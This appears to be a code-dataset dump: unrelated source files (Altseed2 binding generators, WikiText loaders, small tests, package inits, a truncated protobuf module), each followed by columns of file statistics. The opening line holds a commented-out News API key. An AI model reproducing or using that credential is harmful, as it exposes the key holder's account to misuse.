# NEWS_API_KEY = '5016e1c1f8f84730b063dd0b494dea01'
| 51
| 51
| 0.862745
| 4
| 51
| 10.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.4375
| 0.058824
| 51
| 1
| 51
| 51
| 0.4375
| 0.960784
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
17c302cfdef977115cf8c9b45413cc6462aebd60
| 17,979
|
py
|
Python
|
scripts/bindings/common.py
|
gon6109/Altseed2
|
976cd17f337575a221e9f8dab0df4063e2ded235
|
[
"Apache-2.0"
] | null | null | null |
scripts/bindings/common.py
|
gon6109/Altseed2
|
976cd17f337575a221e9f8dab0df4063e2ded235
|
[
"Apache-2.0"
] | null | null | null |
scripts/bindings/common.py
|
gon6109/Altseed2
|
976cd17f337575a221e9f8dab0df4063e2ded235
|
[
"Apache-2.0"
] | null | null | null |
from . import CppBindingGenerator as cbg
from .math import *
import ctypes
VoidPtr = cbg.Class('Altseed2', 'VoidPtr')
Int8Array = cbg.Class('Altseed2', 'Int8Array')
with Int8Array as class_:
class_.brief = cbg.Description()
class_.brief.add('ja', '8ビット整数の配列のクラスを表します。')
class_.is_public = False
class_.SerializeType = cbg.SerializeType.Interface
class_.is_Sealed = True
with class_.add_func("Clear") as func:
func.brief = cbg.Description()
func.brief.add('ja', 'データをクリアします。')
func.is_public = False
with class_.add_property(int, "Count") as prop_:
prop_.brief = cbg.Description()
prop_.brief.add('ja', '格納されている要素の数を取得します。')
prop_.has_getter = True
prop_.serialized = True
prop_.is_public = True # to implement IArray<T>
with class_.add_func('Resize') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'サイズを変更します。')
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '要素数')
func.is_public = True # to implement IArray<T>
with class_.add_func("GetData") as func:
func.return_value.type_ = ctypes.c_void_p
func.is_public = False
with class_.add_func("Assign") as func:
with func.add_arg(ctypes.c_void_p, "ptr") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'コピーするデータの先頭のポインタ')
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'コピーする要素の個数')
func.is_public = True # to implement IArray<T>
with class_.add_func('CopyTo') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'データを指定したポインタにコピーします。')
with func.add_arg(ctypes.c_void_p, "ptr") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'ポインタ')
func.is_public = True # to implement IArray<T>
with class_.add_func('GetAt') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インデックスアクセス')
func.return_value.type_ = ctypes.c_byte
with func.add_arg(int, "index") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'インデックス')
func.is_public = False
with class_.add_func('SetAt') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インデックスアクセス')
with func.add_arg(int, "index") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'インデックス')
with func.add_arg(ctypes.c_byte, "value") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '値')
func.is_public = False
with class_.add_func("Create") as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インスタンスを作成します。')
func.return_value.type_ = class_
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '要素数')
func.is_static = True
func.is_public = False
Int32Array = cbg.Class('Altseed2', 'Int32Array')
with Int32Array as class_:
class_.brief = cbg.Description()
class_.brief.add('ja', '32ビット整数の配列のクラスを表します。')
class_.is_public = False
class_.SerializeType = cbg.SerializeType.Interface
class_.is_Sealed = True
with class_.add_func("Clear") as func:
func.brief = cbg.Description()
func.brief.add('ja', 'データをクリアします。')
func.is_public = False
with class_.add_property(int, "Count") as prop_:
prop_.brief = cbg.Description()
prop_.brief.add('ja', '格納されている要素の数を取得します。')
prop_.has_getter = True
prop_.serialized = True
prop_.is_public = True # to implement IArray<T>
with class_.add_func('Resize') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'サイズを変更します。')
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '要素数')
func.is_public = True # to implement IArray<T>
with class_.add_func("GetData") as func:
func.return_value.type_ = ctypes.c_void_p
func.is_public = False
with class_.add_func("Assign") as func:
with func.add_arg(ctypes.c_void_p, "ptr") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'コピーするデータの先頭のポインタ')
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'コピーする要素の個数')
func.is_public = True # to implement IArray<T>
with class_.add_func('CopyTo') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'データを指定したポインタにコピーします。')
with func.add_arg(ctypes.c_void_p, "ptr") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'ポインタ')
func.is_public = True # to implement IArray<T>
with class_.add_func('GetAt') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インデックスアクセス')
func.return_value.type_ = int
with func.add_arg(int, "index") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'インデックス')
func.is_public = False
with class_.add_func('SetAt') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インデックスアクセス')
with func.add_arg(int, "index") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'インデックス')
with func.add_arg(int, "value") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '値')
func.is_public = False
with class_.add_func("Create") as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インスタンスを作成します。')
func.return_value.type_ = class_
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '要素数')
func.is_static = True
func.is_public = False
VertexArray = cbg.Class('Altseed2', 'VertexArray')
with VertexArray as class_:
class_.brief = cbg.Description()
class_.brief.add('ja', '頂点データの配列のクラスを表します。')
class_.is_public = False
class_.SerializeType = cbg.SerializeType.Interface
class_.is_Sealed = True
with class_.add_func("Clear") as func:
func.brief = cbg.Description()
func.brief.add('ja', 'データをクリアします。')
func.is_public = False
with class_.add_property(int, "Count") as prop_:
prop_.brief = cbg.Description()
prop_.brief.add('ja', '格納されている要素の数を取得します。')
prop_.has_getter = True
prop_.serialized = True
prop_.is_public = True # to implement IArray<T>
with class_.add_func('Resize') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'サイズを変更します。')
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '要素数')
func.is_public = True # to implement IArray<T>
with class_.add_func("GetData") as func:
func.return_value.type_ = ctypes.c_void_p
func.is_public = False
with class_.add_func("Assign") as func:
with func.add_arg(ctypes.c_void_p, "ptr") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'コピーするデータの先頭のポインタ')
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'コピーする要素の個数')
func.is_public = True # to implement IArray<T>
with class_.add_func('CopyTo') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'データを指定したポインタにコピーします。')
with func.add_arg(ctypes.c_void_p, "ptr") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'ポインタ')
func.is_public = True # to implement IArray<T>
with class_.add_func('GetAt') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インデックスアクセス')
func.return_value.type_ = BatchVertex
with func.add_arg(int, "index") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'インデックス')
func.is_public = False
with class_.add_func('SetAt') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インデックスアクセス')
with func.add_arg(int, "index") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'インデックス')
with func.add_arg(BatchVertex, "value") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '値')
func.is_public = False
with class_.add_func("Create") as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インスタンスを作成します。')
func.return_value.type_ = class_
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '要素数')
func.is_static = True
func.is_public = False
FloatArray = cbg.Class('Altseed2', 'FloatArray')
with FloatArray as class_:
class_.brief = cbg.Description()
class_.brief.add('ja', '浮動小数点数の配列のクラスを表します。')
class_.is_public = False
class_.SerializeType = cbg.SerializeType.Interface
class_.is_Sealed = True
with class_.add_func("Clear") as func:
func.brief = cbg.Description()
func.brief.add('ja', 'データをクリアします。')
func.is_public = False
with class_.add_property(int, "Count") as prop_:
prop_.brief = cbg.Description()
prop_.brief.add('ja', '格納されている要素の数を取得します。')
prop_.has_getter = True
prop_.serialized = True
prop_.is_public = True # to implement IArray<T>
with class_.add_func('Resize') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'サイズを変更します。')
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '要素数')
func.is_public = True # to implement IArray<T>
with class_.add_func("GetData") as func:
func.return_value.type_ = ctypes.c_void_p
func.is_public = False
with class_.add_func("Assign") as func:
with func.add_arg(ctypes.c_void_p, "ptr") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'コピーするデータの先頭のポインタ')
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'コピーする要素の個数')
func.is_public = True # to implement IArray<T>
with class_.add_func('CopyTo') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'データを指定したポインタにコピーします。')
with func.add_arg(ctypes.c_void_p, "ptr") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'ポインタ')
func.is_public = True # to implement IArray<T>
with class_.add_func('GetAt') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インデックスアクセス')
func.return_value.type_ = float
with func.add_arg(int, "index") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'インデックス')
func.is_public = False
with class_.add_func('SetAt') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インデックスアクセス')
with func.add_arg(int, "index") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'インデックス')
with func.add_arg(float, "value") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '値')
func.is_public = False
with class_.add_func("Create") as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インスタンスを作成します。')
func.return_value.type_ = class_
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '要素数')
func.is_static = True
func.is_public = False
Vector2FArray = cbg.Class('Altseed2', 'Vector2FArray')
with Vector2FArray as class_:
class_.brief = cbg.Description()
class_.brief.add('ja', '2次元ベクトルの配列のクラスを表します。')
class_.is_public = False
class_.SerializeType = cbg.SerializeType.Interface
class_.is_Sealed = True
with class_.add_func("Clear") as func:
func.brief = cbg.Description()
func.brief.add('ja', 'データをクリアします。')
func.is_public = False
with class_.add_property(int, "Count") as prop_:
prop_.brief = cbg.Description()
prop_.brief.add('ja', '格納されている要素の数を取得します。')
prop_.has_getter = True
prop_.serialized = True
prop_.is_public = True # to implement IArray<T>
with class_.add_func('Resize') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'サイズを変更します。')
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '要素数')
func.is_public = True # to implement IArray<T>
with class_.add_func("GetData") as func:
func.return_value.type_ = ctypes.c_void_p
func.is_public = False
with class_.add_func("Assign") as func:
with func.add_arg(ctypes.c_void_p, "ptr") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'コピーするデータの先頭のポインタ')
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'コピーする要素の個数')
func.is_public = True # to implement IArray<T>
with class_.add_func('CopyTo') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'データを指定したポインタにコピーします。')
with func.add_arg(ctypes.c_void_p, "ptr") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'ポインタ')
func.is_public = True # to implement IArray<T>
with class_.add_func('GetAt') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インデックスアクセス')
func.return_value.type_ = Vector2F
with func.add_arg(int, "index") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'インデックス')
func.is_public = False
with class_.add_func('SetAt') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インデックスアクセス')
with func.add_arg(int, "index") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'インデックス')
with func.add_arg(Vector2F, "value") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '値')
func.is_public = False
with class_.add_func("Create") as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インスタンスを作成します。')
func.return_value.type_ = class_
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '要素数')
func.is_static = True
func.is_public = False
Vector3FArray = cbg.Class('Altseed2', 'Vector3FArray')
with Vector3FArray as class_:
class_.brief = cbg.Description()
class_.brief.add('ja', '3次元ベクトルの配列のクラスを表します。')
class_.is_public = False
class_.SerializeType = cbg.SerializeType.Interface
class_.is_Sealed = True
with class_.add_func("Clear") as func:
func.brief = cbg.Description()
func.brief.add('ja', 'データをクリアします。')
func.is_public = False
with class_.add_property(int, "Count") as prop_:
prop_.brief = cbg.Description()
prop_.brief.add('ja', '格納されている要素の数を取得します。')
prop_.has_getter = True
prop_.serialized = True
prop_.is_public = True # to implement IArray<T>
with class_.add_func('Resize') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'サイズを変更します。')
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '要素数')
func.is_public = True # to implement IArray<T>
with class_.add_func("GetData") as func:
func.return_value.type_ = ctypes.c_void_p
func.is_public = False
with class_.add_func("Assign") as func:
with func.add_arg(ctypes.c_void_p, "ptr") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'コピーするデータの先頭のポインタ')
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'コピーする要素の個数')
func.is_public = True # to implement IArray<T>
with class_.add_func('CopyTo') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'データを指定したポインタにコピーします。')
with func.add_arg(ctypes.c_void_p, "ptr") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'ポインタ')
func.is_public = True # to implement IArray<T>
with class_.add_func('GetAt') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インデックスアクセス')
func.return_value.type_ = Vector3F
with func.add_arg(int, "index") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'インデックス')
func.is_public = False
with class_.add_func('SetAt') as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インデックスアクセス')
with func.add_arg(int, "index") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', 'インデックス')
with func.add_arg(Vector3F, "value") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '値')
func.is_public = False
with class_.add_func("Create") as func:
func.brief = cbg.Description()
func.brief.add('ja', 'インスタンスを作成します。')
func.return_value.type_ = class_
with func.add_arg(int, "size") as arg:
arg.brief = cbg.Description()
arg.brief.add('ja', '要素数')
func.is_static = True
func.is_public = False
| 37.30083
| 57
| 0.597697
| 2,305
| 17,979
| 4.494577
| 0.035575
| 0.074131
| 0.176062
| 0.074131
| 0.942761
| 0.942471
| 0.94112
| 0.94112
| 0.94112
| 0.94112
| 0
| 0.002348
| 0.265699
| 17,979
| 481
| 58
| 37.378378
| 0.782381
| 0.030647
| 0
| 0.91866
| 0
| 0
| 0.102683
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.007177
| 0
| 0.007177
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
17c9075a42fe773b357909c07930550d557ac893
| 3,606
|
py
|
Python
|
prenlp/data/dataset/language_modeling.py
|
awesome-archive/prenlp
|
e65acc8464b391d72d0ee086368b153c81ea19de
|
[
"Apache-2.0"
] | null | null | null |
prenlp/data/dataset/language_modeling.py
|
awesome-archive/prenlp
|
e65acc8464b391d72d0ee086368b153c81ea19de
|
[
"Apache-2.0"
] | null | null | null |
prenlp/data/dataset/language_modeling.py
|
awesome-archive/prenlp
|
e65acc8464b391d72d0ee086368b153c81ea19de
|
[
"Apache-2.0"
] | null | null | null |
from pathlib import Path
from .base import Dataset
class WikiText2(Dataset):
"""WikiText-2 word-level dataset for language modeling.
From:
Salesforce, https://blog.einstein.ai/the-wikitext-long-term-dependency-language-modeling-dataset/
License:
Creative Commons Attribution-ShareAlike
Args:
root (str): path to the dataset's highest level directory
Examples:
>>> wikitext2 = prenlp.data.WikiText2()
>>> len(wikitext2)
3
>>> train, valid, test = prenlp.data.WikiText2()
>>> len(train), len(valid), len(test)
(23767, 2461, 2891)
>>> train[0]
= Valkyria Chronicles III =
"""
def __init__(self, root: str='.data'):
self.url = 'https://s3.amazonaws.com/research.metamind.io/wikitext/wikitext-2-v1.zip'
self.root = Path(root)
self.dirname = 'wikitext-2'
self.skip_empty = True # Whether to skip the empty samples (only for WikiText)
if not (self.root/self.dirname).exists():
super(WikiText2, self)._download(to_path = self.root)
super(WikiText2, self).__init__(self._get_data())
def _get_data(self, train: str='wiki.train.tokens', valid: str='wiki.valid.tokens',
test: str='wiki.test.tokens') -> list:
dataset = []
for i, data in enumerate([train, valid, test]):
filename = self.root/self.dirname/data
with open(filename, 'r', encoding='utf-8') as reader:
if self.skip_empty:
samples = [line.strip() for line in reader.readlines() if line.strip()]
else:
samples = [line.strip() for line in reader.readlines()]
dataset.append(samples)
return dataset
class WikiText103(Dataset):
"""WikiText-103 word-level dataset for language modeling.
From:
Salesforce, https://blog.einstein.ai/the-wikitext-long-term-dependency-language-modeling-dataset/
License:
Creative Commons Attribution-ShareAlike
Args:
root (str): path to the dataset's highest level directory
Examples:
>>> wikitext103 = prenlp.data.WikiText103()
>>> len(wikitext103)
3
>>> train, valid, test = prenlp.data.WikiText103()
>>> len(train), len(valid), len(test)
(1165029, 2461, 2891)
>>> train[0]
= Valkyria Chronicles III =
"""
def __init__(self, root: str='.data'):
self.url = 'https://s3.amazonaws.com/research.metamind.io/wikitext/wikitext-103-v1.zip'
self.root = Path(root)
self.dirname = 'wikitext-103'
self.skip_empty = True # Whether to skip the empty samples (only for WikiText)
if not (self.root/self.dirname).exists():
super(WikiText103, self)._download(to_path = self.root)
super(WikiText103, self).__init__(self._get_data())
def _get_data(self, train: str='wiki.train.tokens', valid: str='wiki.valid.tokens',
test: str='wiki.test.tokens') -> list:
dataset = []
for i, data in enumerate([train, valid, test]):
filename = self.root/self.dirname/data
with open(filename, 'r', encoding='utf-8') as reader:
if self.skip_empty:
samples = [line.strip() for line in reader.readlines() if line.strip()]
else:
samples = [line.strip() for line in reader.readlines()]
dataset.append(samples)
return dataset
| 35.352941
| 105
| 0.5868
| 418
| 3,606
| 4.985646
| 0.239234
| 0.038388
| 0.043186
| 0.036468
| 0.869482
| 0.869482
| 0.823417
| 0.793666
| 0.793666
| 0.755278
| 0
| 0.030338
| 0.287022
| 3,606
| 102
| 106
| 35.352941
| 0.780241
| 0.313367
| 0
| 0.727273
| 0
| 0.045455
| 0.125923
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.090909
| false
| 0
| 0.045455
| 0
| 0.227273
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
17ca480ce2edbad656e0d30baa5e64853745bb7c
| 506
|
py
|
Python
|
tests/test_p01a.py
|
vlasovskikh/advent-of-code-2021
|
2aa6ef98535f22a2d6b07662375b67a4fa2a3a69
|
[
"MIT"
] | 4
|
2021-11-30T19:16:56.000Z
|
2022-01-10T13:34:53.000Z
|
tests/test_p01a.py
|
vlasovskikh/advent-of-code-2021
|
2aa6ef98535f22a2d6b07662375b67a4fa2a3a69
|
[
"MIT"
] | null | null | null |
tests/test_p01a.py
|
vlasovskikh/advent-of-code-2021
|
2aa6ef98535f22a2d6b07662375b67a4fa2a3a69
|
[
"MIT"
] | null | null | null |
from aoc21.p01a import count_depth_increases
def test_empty():
assert count_depth_increases([]) == 0
def test_single():
assert count_depth_increases([100]) == 0
def test_single_increase():
assert count_depth_increases([100, 101]) == 1
def test_single_decrease():
assert count_depth_increases([100, 99]) == 0
def test_single_unchanged():
assert count_depth_increases([100, 100]) == 0
def test_two_spaced_increases():
assert count_depth_increases([100, 101, 98, 99]) == 2
| 19.461538
| 57
| 0.717391
| 71
| 506
| 4.760563
| 0.338028
| 0.207101
| 0.393491
| 0.443787
| 0.431953
| 0.183432
| 0
| 0
| 0
| 0
| 0
| 0.09434
| 0.162055
| 506
| 25
| 58
| 20.24
| 0.70283
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.461538
| 1
| 0.461538
| true
| 0
| 0.076923
| 0
| 0.538462
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
aa2606dcc177ee695282199359fabbbcd478df5d
| 226
|
py
|
Python
|
slippy2/__init__.py
|
dansand/slippy2
|
700ad053b821c1a7d2718ca4e9a81daf428258ab
|
[
"MIT"
] | null | null | null |
slippy2/__init__.py
|
dansand/slippy2
|
700ad053b821c1a7d2718ca4e9a81daf428258ab
|
[
"MIT"
] | null | null | null |
slippy2/__init__.py
|
dansand/slippy2
|
700ad053b821c1a7d2718ca4e9a81daf428258ab
|
[
"MIT"
] | null | null | null |
#from .spmesh import * # noqa
#from .uwmodel import * # noqa
#from .unit_conversions import * # noqa
#from .material_graph import * # noqa
#from .boundary_layer2d import * # noqa
from .version import __version__ # noqa
| 28.25
| 40
| 0.712389
| 28
| 226
| 5.5
| 0.428571
| 0.324675
| 0.454545
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005464
| 0.190265
| 226
| 7
| 41
| 32.285714
| 0.836066
| 0.769912
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
aa2b783c1dbf530e4d6265a27174ab152003badb
| 32
|
py
|
Python
|
000403StepPyThin/000403_01_07_vid02_01_type_20200220.py
|
SafonovMikhail/python_000577
|
739f764e80f1ca354386f00b8e9db1df8c96531d
|
[
"Apache-2.0"
] | null | null | null |
000403StepPyThin/000403_01_07_vid02_01_type_20200220.py
|
SafonovMikhail/python_000577
|
739f764e80f1ca354386f00b8e9db1df8c96531d
|
[
"Apache-2.0"
] | null | null | null |
000403StepPyThin/000403_01_07_vid02_01_type_20200220.py
|
SafonovMikhail/python_000577
|
739f764e80f1ca354386f00b8e9db1df8c96531d
|
[
"Apache-2.0"
] | null | null | null |
print(type(7))
print(type(7.1))
| 10.666667
| 16
| 0.65625
| 7
| 32
| 3
| 0.571429
| 0.857143
| 0.952381
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1
| 0.0625
| 32
| 2
| 17
| 16
| 0.6
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
a4c2ed9b60bdde5da532cee9d18551fa1a68aab7
| 73
|
py
|
Python
|
vvsa/products/types/__init__.py
|
goncalovf/security-analysis
|
72b80ea7c0c5c93b6fd80a4e347ecdb401b7667e
|
[
"MIT"
] | 1
|
2021-09-16T13:36:13.000Z
|
2021-09-16T13:36:13.000Z
|
vvsa/products/types/__init__.py
|
goncalovf/security-analysis
|
72b80ea7c0c5c93b6fd80a4e347ecdb401b7667e
|
[
"MIT"
] | null | null | null |
vvsa/products/types/__init__.py
|
goncalovf/security-analysis
|
72b80ea7c0c5c93b6fd80a4e347ecdb401b7667e
|
[
"MIT"
] | null | null | null |
from .etf_equity import Equity_ETF
from .index_equity import Equity_Index
| 36.5
| 38
| 0.876712
| 12
| 73
| 5
| 0.416667
| 0.4
| 0.6
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.09589
| 73
| 2
| 38
| 36.5
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
a4c4cc2918452e97dea3350ce10fd838f2a65b51
| 93
|
py
|
Python
|
sqlglot/optimizer/__init__.py
|
RobinL/sqlglot
|
7ec1022ac4c1fbaeb44e47d5f187a78e5c14735a
|
[
"MIT"
] | null | null | null |
sqlglot/optimizer/__init__.py
|
RobinL/sqlglot
|
7ec1022ac4c1fbaeb44e47d5f187a78e5c14735a
|
[
"MIT"
] | null | null | null |
sqlglot/optimizer/__init__.py
|
RobinL/sqlglot
|
7ec1022ac4c1fbaeb44e47d5f187a78e5c14735a
|
[
"MIT"
] | null | null | null |
from sqlglot.optimizer.optimizer import optimize
from sqlglot.optimizer.schema import Schema
| 31
| 48
| 0.870968
| 12
| 93
| 6.75
| 0.5
| 0.271605
| 0.493827
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.086022
| 93
| 2
| 49
| 46.5
| 0.952941
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
35325ceb90c3b56433c075ce3b8f558d2343c28b
| 43,365
|
py
|
Python
|
python/pyxbos/pyxbos/parker_pb2.py
|
sguduguntla/xboswave
|
3a23a298354650dae9e086260fc1503d840d2f2a
|
[
"BSD-3-Clause"
] | 9
|
2019-02-08T01:35:14.000Z
|
2021-11-11T14:56:00.000Z
|
python/pyxbos/pyxbos/parker_pb2.py
|
sguduguntla/xboswave
|
3a23a298354650dae9e086260fc1503d840d2f2a
|
[
"BSD-3-Clause"
] | 26
|
2019-02-25T16:57:02.000Z
|
2019-08-05T20:44:52.000Z
|
python/pyxbos/pyxbos/parker_pb2.py
|
sguduguntla/xboswave
|
3a23a298354650dae9e086260fc1503d840d2f2a
|
[
"BSD-3-Clause"
] | 5
|
2019-02-05T20:04:40.000Z
|
2021-09-14T05:54:03.000Z
|
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: parker.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
from . import nullabletypes_pb2 as nullabletypes__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name='parker.proto',
package='xbospb',
syntax='proto3',
serialized_options=None,
